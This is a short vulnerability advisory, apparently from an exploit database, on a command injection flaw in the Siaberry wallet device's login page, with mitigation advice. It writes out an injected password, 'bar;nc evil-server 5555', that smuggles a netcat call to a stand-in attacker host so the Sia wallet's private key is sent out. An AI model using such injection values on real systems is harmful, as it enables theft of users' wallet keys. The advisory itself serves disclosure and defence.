vendor:
Siaberry
by:
Anonymous
9.8
CVSS
HIGH
Command Injection
78
CWE
Product Name: Siaberry
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit:
N/A
Other Scripts:
N/A
Platforms Tested: Sia
2020
Siaberry’s Command Injection Vulnerability
Siaberry took untrusted input directly from an HTTP POST request and immediately executed it in the shell. An attacker can extract the private key from the victim’s Sia wallet simply by entering a particular password on Siaberry’s login page. The problem occurred in ActionPage.php, where the attacker created an attack server called evil-server and used foo as the username and bar;nc evil-server 5555 as the password. This caused the following command to be executed on the Siaberry device: sudo bin/checker foo bar;nc evil-server 5555. When the victim entered the malicious password, the private key was sent to the attack server, where it was captured.
Mitigation:
Input validation should be used to prevent command injection attacks. All input data should be validated and filtered, and special characters should be removed or escaped. Additionally, the application should be configured to use the least privileged account.